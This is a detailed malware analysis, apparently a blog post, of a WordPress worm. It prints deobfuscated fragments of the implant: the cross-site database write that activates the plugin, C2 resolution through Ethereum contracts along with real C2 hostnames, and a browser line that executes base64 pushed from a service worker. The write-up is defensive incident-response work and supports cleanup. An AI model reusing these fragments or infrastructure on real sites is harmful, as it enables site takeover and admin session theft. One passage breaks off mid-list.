sc_build_candidate_roots (L5778) assembles a root list from dirname(ABSPATH) walked up three levels, the usual hosting roots (/home, /var/www, /var/www/vhosts, /srv/users, …), plus every entry in open_basedir - the jail becomes its own map. sc_scan_for_wp_roots (L5730) then does a depth-2 scandir (500 entries per dir, 10-second budget); any directory containing wp-admin/ is a WordPress root.

For each sibling it does not already own (sc_target_already_infected, L5859), it prefers to write a padded copy into that site's mu-plugins/ (auto-loads, no DB row, hidden from the Plugins screen). And the ownership test is the softest thing in the entire implant:

php
// ── the entire "is this site already mine?" check - my naming ────────────────
foreach (array($root.'/wp-content/mu-plugins', $root.'/wp-content/plugins') as $dir) {
    foreach (scandir($dir) as $entry) {
        if (substr($entry, -4) === '.php'
            && (filemtime("$dir/$entry") % 100000) === 93819
            && filesize("$dir/$entry") >= 5000) return true;     // owned, skip this site
    }
}

No content check. No signature. No handshake. It trusts its own timestamp watermark as proof of ownership. Which means an inert, commented, 5 KB PHP file with the right mtime makes a clean site invisible to the worm - both the MU-plugin write and the plugin-directory write, and therefore also the database activation below, which only runs after a successful plugin-directory write. Two minutes of work per server buys you containment while you do the real cleanup. It is not a cure and the next build can trivially add a content check, but right now it holds.

The genuinely novel move is remote activation (sc_remote_activate_plugin, L6057): rather than wait for the sibling to run its own code, it reads the neighbour's wp-config.php, opens their database with its own wpdb handle on the shared MySQL account, and writes the plugin into their active_plugins directly. Here it is raw and then resolved - same lines, same file:

php
// ── obfuscated - the original code ───────────────────────────────────────────
$wpdb->query(oiq0havtj(1327));
$dqvbhbpp_kyfqty = $wpdb->get_var('S' . g4q1a7y9nv85k88(1328) . $y6qc8_bzwcjdcdn
                   . oiq0havtj(1329) . vpm16ghycg(1330) . oiq0havtj(1331));
if ($dqvbhbpp_kyfqty === null) {$mykd8sw5uj=204|95;$seh418jvuh7=$mykd8sw5uj^86;
$wpdb->query(r_o1os1s6vg8j(1332));

// ── after pass 1: string table resolved ──────────────────────────────────────
$wpdb->query('START TRANSACTION');
$dqvbhbpp_kyfqty = $wpdb->get_var('S' . 'ELECT option_value FROM ' . $y6qc8_bzwcjdcdn
                   . ' WHERE option_name = ' . '\'active_plugins\'' . ' LIMIT 1 FOR UPDATE');
if ($dqvbhbpp_kyfqty === null) {$mykd8sw5uj=204|95;$seh418jvuh7=$mykd8sw5uj^86;
$wpdb->query('ROLLBACK');

Two details worth pausing on. The 'S' . 'ELECT' split is not in the table at all - the S is a bare literal and ELECT option_value FROM is table entry 1328, so the keyword is broken across the table boundary. Any WAF or scanner rule matching SELECT ... FROM as text is defeated by one character. And $mykd8sw5uj=204|95;$seh418jvuh7=$mykd8sw5uj^86; is pure decoy arithmetic: both variables are assigned and never read again. The file is full of it, and stripping it is the third pass.

Here is the same routine with everything renamed - this is what it does:

php
// ── my naming - the same routine, end to end ─────────────────────────────────
preg_match('/define\s*\(\s*[\'"]DB_NAME[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]/', $siblingConfig, $m);
preg_match('/table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]/',                    $siblingConfig, $m2);
if (!preg_match('/^[a-zA-Z0-9_]+$/',   $tablePrefix)) return;   // whitelist the identifier
if (!preg_match('/^[a-zA-Z0-9_$-]+$/', $dbName))      return;   // …because you can't bind it

$optionsTable = '`' . $dbName . '`.`' . $tablePrefix . 'options`';
$wpdb->query('START TRANSACTION');
$row = $wpdb->get_var("SELECT option_value FROM $optionsTable
                       WHERE option_name = 'active_plugins' LIMIT 1 FOR UPDATE");
$active = unserialize($row, array('allowed_classes' => false));  // object-injection safe
if (in_array($slug, $active, true)) { $wpdb->query('COMMIT'); return; }
$active[] = $slug;
$wpdb->query($wpdb->prepare("UPDATE $optionsTable SET option_value = %s
                             WHERE option_name = 'active_plugins'", serialize($active)));
$wpdb->query('COMMIT');

The write is defensive, which matters when you are cleaning: it whitelists the identifiers it cannot parameterise, it takes a row lock so it cannot corrupt active_plugins if a real admin is activating a plugin at the same moment, and it deserialises with allowed_classes => false to avoid PHP object injection - against itself. (author's note: this is way better compared to most of the production WordPress code I've ever seen)

Then it timestomps and chmod 0444s the new copy. A freshly infected sibling boots and builds its own full mesh under its ABSPATH-derived names - so the names differ per site while the algorithm stays constant.

And now the number everybody gets wrong, including me in my first pass:

php
if ($infected_count > 0) { set_transient('sc_spread_interval', 1, 259200); }  // 72 h
else                     { set_transient('sc_spread_interval', 1, 3600);   }  //  1 h

Seventy-two hours after it succeeds, one hour after it finds nothing. Think about what that means in steady state: once an account is fully infected, every site's spread routine finds nothing new every time, takes the else branch, and re-checks every hour, forever. So a freshly cleaned site sitting next to an infected sibling is typically re-owned within the hour. Not within seventeen, not within three days. One. And sc_spread_interval is a transient, so flushing the object cache - which most cleanup tools do - shortens it further.

One last thing, and it is the best news in this entire article: there is no privilege escalation anywhere in the code. No exec, no shell_exec, no system, no proc_open, no posix_*, no SUID tricks, no panel exploits. Every spread step is gated on is_readable() / is_writable() and continues on failure. It crosses sites in one account, and accounts on hosts where PHP runs as one shared user, and anything with 0777 permissions. It does not cross a properly isolated account. One OS user per site ends this permanently.

9. C2 and the browser channel

There is no domain to sinkhole. C2 URLs are resolved through Ethereum: an eth_call with selector 0x3bc5de30 against embedded contract addresses, via ~20 public RPC gateways, returns data that is XOR-decrypted into the live C2 URLs.

The entire request is two table indices in the raw file:

php
// ── obfuscated - the original code ───────────────────────────────────────────
$qg_unfnhn2f0f6 = qakkqsa2gb3(349) . $y0go7pixng39zkkb . vpm16ghycg(350);

// ── my naming - the same line, opinionated identifiers ───────────────────────
$rpcRequestBody = '{"jsonrpc":"2.0","id":3,"method":"eth_call","params":[{"data":"0x3bc5de30","to":"'
                . $contractAddress . '"},"latest"]}';

The three contract addresses, in full:

text
0x9A4752cAA1C15868487A0ACb691F81bfA901E063
0x839d1cE5c3F259e8d3D17114d7186EDabdbeA94b
0x6d2c5435EF70196740a48904B69377935D50abBB

Unwrapping the answer is a small matryoshka - ABI envelope, then a transport key, then the real key:

php
// ── the C2 descriptor unwrap - my naming ─────────────────────────────────────
$raw        = hex2bin($result_without_0x);
$payloadLen = ord($raw[63]);                        // ABI length byte
$payload    = substr($raw, 64, $payloadLen);

$keyLen     = ord($payload[0]);
$transKey   = substr($payload, 1, $keyLen);
$plain      = sc_xor_cipher(substr($payload, 1 + $keyLen), $transKey);

$srvKeyLen  = ord($plain[0]);
$serverKey  = substr($plain, 1, $srvKeyLen);        // stored as the srv_key option
$urls       = preg_split('/\r?\n/', substr($plain, 1 + $srvKeyLen));

update_option('sc_last_rpc', $gateway);
update_option('sc_c2_cache', implode("\n", $urls)); // <- plaintext. remember this.

That last line is a gift, and it answers "where does it actually call home?" without touching the blockchain: sc_c2_cache stores the resolved C2 host list in plaintext in wp_options, newline-separated, and sc_last_rpc records which gateway answered. On any live or dumped database those two rows hand you the campaign's real infrastructure, no key needed. They are the first two rows to pull from a wp_options dump - and, like sw_cached and issued from #3, the first two a hasty cleanup destroys.

So here they are, straight out of the wp_options table of one of the infected accounts. No blockchain call, no key, no decryption - just a SELECT:

text
sc_c2_cache   https://basic-junior.com/SGct2K
              https://railroad-boot.com/SGct2K
              https://great-basic.com/SGct2K
sc_last_c2    https://root-cherry.com/n3s9c2a
sc_last_rpc   https://0xrpc.io/eth

Four hosts, one path per campaign, and the RPC gateway that answered. Note the naming: two ordinary English words, hyphenated, .com. basic-junior, railroad-boot, great-basic, root-cherry. That is almost certainly generated from a wordlist, which means the next campaign's domains will look exactly the same and you can hunt the pattern rather than the list.

sc_last_c2 is the one that actually answered last, and sc_c2_cache is the current list from the contract - so between them you get both the live infrastructure and the one node that is definitely up.

And the site's own service-worker URL, from the same table:

text
sc_sw_had         1
sc_sw_last_url    https://www.example.com/?p=98376420

98376420. Eight digits, inside the 9100000099999998 band, exactly as #3 predicts. That is the derivation confirmed against a live infection rather than against my own arithmetic.

C2 resolved on-chain; the service worker turns an admin's browser into a persistence node.

The browser channel is the ninth node and the nastiest. On an authenticated admin page it injects a service worker registration with a Service-Worker-Allowed: / header. And here the obfuscation goes three layers deep, because after the string table resolves, the API names are still hex-encoded at runtime:

php
// ── obfuscated - the original code ───────────────────────────────────────────
 . g4q1a7y9nv85k88(2355) . $qz9hha8doqixljoi(vpm16ghycg(2385)) . qakkqsa2gb3(2386)

// ── after pass 1: string table resolved ($qz9hha8doqixljoi holds 'bin2hex') ──
 . 'sw=navigator[d("' . $qz9hha8doqixljoi('serviceWorker') . '")];'
js
// ── what the browser actually receives: hex-encoded a second time, at runtime ─
sw=navigator[d("73657276696365576f726b6572")];
// …with d() defined inline just above it as a four-line hex-to-string decoder

Table index -> string -> hex. Grep the rendered admin page for serviceWorker and you find nothing.

And this is the single worst line in the sample. In the raw file it is one function call and one integer:

php
// ── obfuscated - the original code. one function call, one integer. ──────────
   .    g4q1a7y9nv85k88(2406)

// ── the same line, resolved ──────────────────────────────────────────────────
   .    'if(v&&v.c){try{new Function(atob(v.c))()}catch(x){}}});'

That is a message listener in the admin's page context that executes whatever base64 the worker sends it. Not a one-time registration - a standing, unauthenticated remote code execution channel into your administrator's authenticated browser session. Whatever the admin can do in wp-admin, whoever holds the worker can do, with no password, no cookie, and nothing touching your server.

The worker itself is ~6.4 KB of minified JavaScript, and in the raw file it was hiding behind exactly one array index:

php
// ── obfuscated - the original code ───────────────────────────────────────────
$jzo8dx1_mj_q_ep = @gzinflate(g4q1a7y9nv85k88(389)(vpm16ghycg(1340)));

// ── my naming - the same line, opinionated identifiers ───────────────────────
//   table entry  389 -> the string 'base64_decode', then called dynamically
//   table entry 1340 -> an 8 KB base64 blob
$serviceWorkerSource = @gzinflate(base64_decode('pVhrc9u4Ff2+v0LGTBViBdN2nHha…'));

Decoded, that worker:

On those cookies: "forged" is the wrong word. It calls WP_Session_Tokens::create(), so these are genuine sessions WordPress itself issued and will honour, emitted in Netscape cookies.txt format - tab-separated, exactly what curl -b eats. The operator does not need a browser or a password, just the file. It even blanks the recipient on wp_mail while it does this, so the "new login to your account" notification goes nowhere. Changing passwords does not invalidate any of it. Only rotating the website salts does.

This is why server-side cleanup alone is never enough: the persistence lives on someone else's laptop.

The way back in is an asymmetry in the browser platform itself. A service worker is not autonomous - the browser re-validates the worker script against your origin, and that update fetch is not routed through the worker's own fetch handler. The worker cannot protect itself from being replaced. Serve a valid, self-destructing worker at the malicious script URL and it unregisters itself on the next admin page load. Which URL? ?p=<derived sw id> - #3, computable from ABSPATH, no guessing.

One warning if you build this yourself: the script URL is home_url('?p=<id>'), whose path is just /. Match the p query parameter, not the path. Match the path and you will serve JavaScript in place of your own home page. Ask me how I know.

10. Eradication - the kill chain

Order is everything. The single mistake that guarantees reinfection is deleting files (K4) before restarting the PHP pool (K2) - because the pool restart is what clears shared memory (#7, node 8) and kills the CLI guard daemon (#6). Delete first and both rebuild your files before you finish.

K0→K8. The overlay shows which persistence node each step destroys.

And verify after midnight UTC, not before - see the backoff in #6.

The tooling

I have put the defensive half of this analysis in a repo so nobody has to redo it: github.com/ux2dev/wordpress-sc403-cleaner.

Tool What it does What it touches
sc403-scan.sh Finds it. Auto-discovers every WordPress root you can read, computes the derived names for each one, and looks for exactly those. Exit codes 0/1/2. Reads. Nothing else.
sc403-derive.sh The #3 calculator. Feed it ABSPATH, get the filenames, the two ?p= endpoints, the fourteen option keys, and ready-made SELECTs. Also decodes one option value. Nothing. Pure arithmetic.
sc403-guard.php Tripwire for a site you believe is clean. Baselines the persistence slots, watches for the derived names and option rows, blocks the generated admin login. Its own options.
00-sc403-sw-neutralizer.php #9, the browser half. Serves the byte-stable tombstone worker at the derived ?p=, 410s the installer endpoint, sweeps registrations, sets the data-sc=1 marker from #11. Serves and logs; does not delete.
sc403-dbdump.sh Pulls every implant row out of wp_options and decodes it. Live database or an offline dump. wp_options only. No post content, no customer data, no password hashes.
sc403-killchain.sh K0 to K8 from this section, in order, in one script. Dry run until --execute.
sc403-superclean.sh + wp-sc-account-cleaner-v45.sh The account-wide version: quarantine every site under the account first, derive per-site IoCs, capture the worker evidence before the database cleanup eats it, clean, then install the neutralizer everywhere. Acts. Root.
sc403-vaccinate.sh The #8 decoy: plants the watermark so the implant skips a site it has not taken yet. Dry run until --execute.

I went back and forth on publishing the destructive half. The argument against is that a half-finished cleanup is exactly what makes this thing look immortal. The argument for won: not shipping it never stopped anybody from cleaning badly, it just meant they did it by hand, in the wrong order, at two in the morning. So it is there, dry-run by default, with the order baked in.

One honest warning about the vaccine. It works because the implant trusts its own timestomp watermark as proof that a site is already taken. That is a decision its author can reverse at any point - and if they do, mtime % 100000 == 93819 stops being an indicator for the rest of us too. It buys a spread you can stop today against a detection you might lose tomorrow. I use it on sites I cannot clean yet. Not instead of cleaning them.

11. Even self-healing worms ship broken code

Two bugs, and both are useful to you.

The unmatched brace. In the theme injection, immediately after the genuine "Twenty Twenty-Five" content, the decoded source contains an unmatched } with no opening brace anywhere in the theme prefix - which uses only if(...): … endif; colon syntax. It is a bug in the malware's own generic theme-patching template, which assumes a braced wrapper this theme doesn't have. On this particular site the whole SC_TH block is therefore unreachable. I preserved it exactly as captured. That is luck, not design - on a braced theme it works fine.

The dead marker. This one you can use. The service worker decides whether to inject the RCE bridge and whether to attempt a reinstall based on one check:

js
const l = d.includes("data-sc=1");
// …
if (!l) { /* inject the new Function(atob(...)) bridge before </body> */ }
// …
if (!l) await R(e);   // R() = ping the installer, re-upload the plugin zip

But the server side emits its payload as <script data-sc="6f455f-…">. There is a quote straight after the =, so data-sc=1 never matches. It is leftover code from an earlier build, and the result is that the worker always injects and always tries to reinstall.

Which means you can set it. Put the literal string data-sc=1 anywhere in your wp-admin HTML - an HTML comment is enough - and both dangerous branches switch off.

Being honest about what that buys: the C2 heartbeat runs on both branches, so this stops no exfiltration that was not already happening, and the login-POST credential theft has no such check at all. It disarms two branches, not the worker. Unregistering is still the only real fix. But it is free, and it is the kind of thing that only falls out of reading the code rather than running it.


One thing I have left out on purpose: the core, the installer, the guard template and the worker are not here as assembled, runnable files, and they are not going to be. Everything above is what you need to find this thing on your own boxes and kill it. A working copy helps nobody except the next person who wants to run it.

And if you are cleaning something right now: work the chain in order. Restart the pool before you delete a single file. I cannot say that enough times.